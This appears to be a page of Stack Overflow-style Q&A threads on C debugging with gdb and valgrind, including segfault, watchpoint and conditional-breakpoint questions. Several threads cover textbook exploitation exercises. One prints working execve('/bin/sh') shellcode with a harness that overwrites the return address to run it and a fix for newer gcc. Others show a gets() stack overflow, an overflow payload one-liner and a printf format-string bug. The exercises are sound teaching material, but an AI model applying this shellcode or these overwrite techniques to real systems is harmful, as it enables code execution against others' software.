memset and SIGSEGV - c

I have been facing a weird issue in a piece of code.
void app_ErrDesc(char *ps_logbuf, char *pc_buf_err_recno)
{
char *pc_logbuf_in;
char rec_num[10];
char *y = "|";
int i, j;
memset(rec_num, 0, sizeof(rec_num));
memset(pc_buf_err_recno, 0, LOGBUFF);
.....
.....
}
For some reason the first memset call sends a SIGSEGV. Whats more strange is when
inside gdb the same line executes for about 30 times though the function is called
only once and there are no loops inside! Here's a piece of gdb session.
7295 /*Point to logbuffer string*/
(gdb)
7292 memset(rec_num, 0, sizeof(rec_num));
(gdb)
7295 /*Point to logbuffer string*/
(gdb)
7292 memset(rec_num, 0, sizeof(rec_num));
(gdb) n
7295 /*Point to logbuffer string*/
(gdb)
7292 memset(rec_num, 0, sizeof(rec_num));
(gdb)
Program received signal SIGSEGV, Segmentation fault.
I have also tried running the program through valgrind's memcheck tool but not getting anything significant about the above piece of code.
The file that I'm parsing has just one record.
Any pointers are appreciated. Thanks.

It's likely that it's the second memset and the reason is that the outer function is called with an insufficient buffer size. Debuggers can show incorrectly where you are. Try to add logging after each step to find out what exactly crashes.

i suspect the call to the function, so ensure the call is not something like
char pc_buf_err_recno[SMALLER_THAN_LOGBUFF];
char ps_logbuf[TOO_SMALL]
app_ErrDesc(ps_logbuf, pc_buf_err_recno);

Debuggers can be incorrect, particularly if you're getting SEGV. Remember, it's quite possible you've trashed the stack when you get a segmentation fault and the debugger will get confused if that happens.
It's also quite possible the calling function has made a mess, not the current one.

Whats more strange is when inside gdb the same line executes for about 30 times though the function is called only once and there are no loops inside!
This sounds symptomatic of having compiled with optimizations. You may have an easier time pinpointing the problem in GDB if you compile with optimizations turned off.

Related

why does readlink function cause a segmentation fault instead of moving the path string to a pointer?

when I run the code
char* dirPath = (char*) malloc(pathSize); // pathSize is 512 and its pre defined
readlink("/proc/self/exe",dirPath,pathSize); //segfault here
it segfaults. I've tried increasing the value of pathSize or passing the pathSize value one larger into readlink.I've also put the /proc/self/exe in separate variable and passing that that didn't work either. running the program through gdb says.
Program received signal SIGSEGV, Segmentation fault.
__memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:384
384 ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S: No such file or directory.
the code work for a long time but only recently broke

Cant exploit overflow in simple program (chapter2 shellcoder's handbook)

I am reading The shellcoder's Handbook and im currently at chapter 2 where i have a simple program to exploit by overflowing the expected input and then issuing a new location for the ret instruction so that the function return_input can be executed twice !
Here is the simple program made in C
void return_input (void)
{
char array[30];
gets (array);
printf(“%s\n”, array);
}
main()
{
return_input();
return 0;
}
And this is the disassembled version of the main fucntion where we can see the jump adress of the call function.
I use the following command and input the chars that overflow with the adress following them that should replace ret's content
But as you can see i do not run the return_input function twice instead it just prints out a question mark and says segmentation failed
gets read terminating byte in and replaced it with NULL byte and thus your desired ret was broken with that NULL byte.
The offset you saw in disassembly codes is NOT the real address, you compiled the program with PIE flag set so the real address may look like 0x55555????58a, that's why gdb didn't allow you to insert a break point because you might try to do b *0x58a or something. Compile with -no-pie would make life easier.

Simple shellcode not working

I have the following code which is supposed to drop a shell, however, after I run the code nothing appears to happen. Here is the code that I have. This was taken from the shellcoder's handbook.
`
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}`
I compile it using gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
When I run it the following happens.
The expected result is the following.
Here is the code that produces the above results:
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = 0x0;
execve(name[0], name, 0x0);
exit(0);
}
I am not sure why this is happening. I am using Ubuntu on Windows 10. This might not effect my results but I have disabled ASLR. That might be an issue. I have not tried this on a VM just yet. I wanted to try and figure out why this is not working before I did that. If this is unclear please let me know and I will be happy to clarify any details.
I appreciate all of your help in advance.
--UPDATE--
I was able to get the assembly instructions from the shellcode I provided.
Does anyone see any issues that would cause a shell not to be dropped?
With the help of a colleague we were able to figure out why the shellcode was not executing. The shellcode is fine, the issue was actually an update to the gcc compiler which changes how the prolog/epilog are handled when code executes. When a program starts, the compiler-generated code puts the return address on the stack, but it does so using a new pattern. The executing program no longer uses the return addresses directly by popping it into the instruction pointer (IP). Instead, it pops the stack value into %ecx and then uses the contents at the address %ecx-4 (for 32-bit machines) as the return address. Therefore, the way I was trying to do it was never going to work even with the protections turned off. This behavior only affects main() and not functions called by main. So a simple solution would be to place the contents of main into another function foo() and call foo() from main() as depicted below.
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void foo()
{
int *ret;
ret = (int *)&ret + 4;
(*ret) = (int)shellcode;
}
int main()
{
foo();
}
Here is a question that is related to this answer.
Understanding new gcc prologue
There are couple of things that could go wrong here:
The store of the shell code address is optimized away because it is derived from a stack variable, and nothing reads from the stack afterwards.
The store is optimized away because it is out of bounds.
The offset calculation from the local variable is wrong, so the shellcode address does not overwrite the return address. (This is what happens when I compile your example.)
The execution is redirect, but the shellcode does not run because it is located in the non-executable .data segment. (That would cause the process to terminate with a signal, though).

How to send arbitary bytes to STDIN of a program in gdb?

I am developing buffer overflow exercises for students. In this context you often have to provide arbitary bytes as input for programs (return addresses).
Assume this example:
#import <stdio.h>
#import <string.h>
void func() {
char buf[4];
gets(buf);
}
int main (int argc, char** argv) {
func();
return 0;
}
Normally I experiment with gdb, until I found a solution, which can then be formulated like
python -c 'print "A"*8+"\x08\x04\88\72"' | ./program
While developing more and more complex exercises, the difficulty to find a solution increases. Sometimes overwriting the return address in gdb via
set {int}address_of_address = new_address
works, but the python-approach does not. It would be nice to debug this and to be able to enter bytes like "\x04" in gdb, while the program is running, analyzing the effects.
Is there any way to do this?
This question seems related but is answered with the python-approach: Sending arbitrary bytes to fgets from stdin
Mine goes beyond that :-/
It would be nice to debug this and to be able to enter bytes like
"\x04" in gdb, while the program is running, analyzing the effects
To do this you need 2 consoles: the first one to enter bytes in program stdin, the second one for gdb debug session.
You can first run program in 1st console until it stops waiting for bytes from stdin. Then run gdb in 2nd console and attach to a program by it's pid. You will be able to debug and enter bytes simultaneously from 2 different consoles.
"while the program is running" is one part of the problem. The other one is being able to set breakpoints beforehand, to "analyze the effects".
GDB's default behaviour is to run the program as a child process, thus using the same standard streams. So it is impossible to write to the child's stdin while being in GDB's CLI because, at this moment, it is being read by GDB, not your program.
The simplest solution, avoiding tty workarounds (tty command + stty setups + reading/writing to /proc/<pid>/fd/{0,1}), is to make your code testable and "callable" from GDB. You'll then be able to pass your string arguments to your functions in order to test and debug them.
For example:
#include <stdio.h>
#include <unistd.h>
void exploitme(char* str)
{
printf(str);
}
int main()
{
while (1)
{
char str[10];
fgets(str, sizeof (str), stdin);
exploitme(str);
}
return 0;
}
exploitme() is the exploit case correctly wrapped in a single entry point so that it is now possible to call it once everything it uses is correctly initialized. You can then call it using command call once main() breakpoint is reached (so that the C runtime inits, performed in main's caller, are done).
~/test $ gdb ./a.out
(gdb) call exploitme("hello")
You can't do that without a process to debug.
(gdb) b main
Breakpoint 1 at 0x4005ae: file helloworld.c, line 14.
(gdb) r
Starting program: /home/julio/test/a.out
Breakpoint 1, main () at helloworld.c:14
14 fgets(str, sizeof (str), stdin);
(gdb) call exploitme("hello")
(gdb) call exploitme("hello\n")
hellohello
(gdb) call exploitme("AAAAAAAA\x08\x04\88\72\n")
AAAAAAA�:
(gdb) b exploitme
Breakpoint 2 at 0x400592: file helloworld.c, line 6.
(gdb) call exploitme("foo")
Breakpoint 2, exploitme (str=0x602010 "foo") at helloworld.c:6
6 printf(str);
The program being debugged stopped while in a function called from GDB.
Evaluation of the expression containing the function
(exploitme) will be abandoned.
When the function is done executing, GDB will silently stop.
Note that you benefit from GDB's argument expansion which includes the C string evaluation.
The other (longer and more complex) solution, as explained, is to run your program under another tty, so that you can independently write to GDB and your program.

trace variable change using valgrind and gdb

I have a program which SIGABRT after >5hrs of execution. It is most likely cause by memory leak after checking by valgrind, but I have problem trace down onto which variable actually causes this issue based on valgrind report (which simply contains addresses and ???).
I try to use valgrind and gdb to step through. However since it takes 5hrs to reach the leak (after looping for 428 rounds), I would like to set a breakpoint, let say, when loop=428, and step into the codes. How can I do that?
Based on a simple program below, may I know,
a) how to trace change of value in variable 'a'?
b) how to set a breakpoint when loop = 428?
typedef struct data_attr {
int a[2500];
}stdata;
typedef struct pcfg{
stdata *data;
}stConfig;
int funcA(stConfig* pt){
int loop = 0;
while (loop < NUM_NODE){
pt->data->a[0] = 1000;
pt->data->a[0] = 1001;
loop++;
}
return 0;
}
int main(){
stConfig *p;
p = (stConfig*) malloc(sizeof(stConfig));
p->data = (stdata*) malloc (sizeof(stdata));
funcA(p);
free(p->data);
free (p);
return 0;
}
I am using valgrind 3.7 on ubuntu 10.04
# valgrind terminal,
valgrind -v --vgdb=yes --vgdb-error=0 --tool=memcheck --leak-check=full --leak-resolution=high --num-callers=40 --track-origins=yes --log-file=mr3m1n2500_valgrind_0717_1155.txt ./pt m >& mr3m1n2500_logcheck_0717_1155.txt
# gdb terminal
I tried to get address of 'p' but it returns void, why?
> gdb ./pt
(gdb) target remote | vgdb
Remote debugging using | vgdb
relaying data between gdb and process 12857
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.1.so...done.
done.
Loaded symbols for /lib/ld-linux.so.2
[Switching to Thread 12857]
0x04000850 in _start () from /lib/ld-linux.so.2
(gdb) p $p
$1 = void
(gdb) bt 10
#0 0x04000850 in _start () from /lib/ld-linux.so.2
To trace the change in the value of a variable, you can set watch-point on that variable.
For your case, use: watch p->data->a[index]
To break at the required condition, you can use break break if loop_counter==428
From help break in GDB:
(gdb) help break
Set breakpoint at specified line or function.
break [LOCATION] [thread THREADNUM] [if CONDITION]
LOCATION may be a line number, function name, or "*" and an address.
If a line number is specified, break at start of code for that line.
If a function is specified, break at start of code for that function.
If an address is specified, break at that exact address.
With no LOCATION, uses current execution address of selected stack frame.
This is useful for breaking on return to a stack frame.
THREADNUM is the number from "info threads".
CONDITION is a boolean expression.
Multiple breakpoints at one place are permitted, and useful if conditional.
Do "help breakpoints" for info on other commands dealing with breakpoints.
To set a breakpoint on a condition, use break if condition, in your case break if loop_counter == 428 or similar.
a) To set a break point of that loop if can do something like:
if(loop == 428)
int nop = 0;
And then set the break point for the line int nop = 0. Like this the program only stops when that line is executed which happens in loop 428.
b) I am not sure about this one. Where are you trying to examine the value of 'p'?.
For your first question, how to trace change of value in variable 'a'?
Please use "watch",
watch [-l|-location] expr [thread threadnum] [mask maskvalue]
Set a watchpoint for an expression. gdb will break when the expression expr is written into by the program and its value changes. The simplest (and the most popular) use of this command is to watch the value of a single variable:
(gdb) watch foo
Joachim Pileborg have the answer of your second question.
For your third question, you need to set a break at the line
p->data = (stdata*) malloc (sizeof(stdata));
and then try to print the value of "p".

Resources